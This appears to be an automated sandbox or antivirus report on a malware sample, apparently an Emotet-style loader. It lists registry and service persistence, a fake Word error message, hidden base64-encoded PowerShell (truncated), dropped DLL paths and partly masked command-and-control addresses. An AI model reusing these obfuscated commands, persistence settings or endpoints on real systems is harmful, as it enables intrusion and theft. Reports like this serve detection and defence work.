Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\mpvhbjxvfuounln.cmh] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mpvhbjxvfuounln.cmh] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Mwzobtsitlolzuic\mpvhbjxvfuounln.cmh",Control_RunDLL'
Creates the following services
- 'mpvhbjxvfuounln.cmh' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Mwzobtsitlolzuic\mpvhbjxvfuounln.cmh",Control_RunDLL
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD UwBlAHQALQBpAFQAZQBtACAAVgBBAHIASQBBAGIATABFADoANgBKAHIAIAAoACAAIABbAFQAeQBwAEUAXQAoACIAewA0AH0AewAxAH0AewAzAH0AewAwAH0AewAyAH0AIgAtAGYAJwAuAEQASQByAEUAQwAnACwA...
Modifies file system
Creates the following files
- %HOMEPATH%\xf5p77q\u1gvb1q\f_5p.dll
Deletes the following files
- %WINDIR%\syswow64\mwzobtsitlolzuic\mpvhbjxvfuounln.cmh
Moves the following files
- from %HOMEPATH%\xf5p77q\u1gvb1q\f_5p.dll to %WINDIR%\syswow64\mwzobtsitlolzuic\mpvhbjxvfuounln.cmh
Network activity
Connects to
- '24.##1.88.85':80
- '19#.#12.178.60':80
- '50.##6.111.59':8080
TCP
HTTP GET requests
- http://20#.#89.146.42/wp-admin/F0xAutoConfig/XR9/
HTTP POST requests
- http://50.###.111.59:8080/jot6vujng53/sleqq51/6idu9l5i60/fvrd8byqamo/ via 50.##6.111.59
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD UwBlAHQALQBpAFQAZQBtACAAVgBBAHIASQBBAGIATABFADoANgBKAHIAI...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Xf5p77q\U1gvb1q\F_5P.dll Control_RunDLL
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Mwzobtsitlolzuic\mpvhbjxvfuounln.cmh",Control_RunDLL
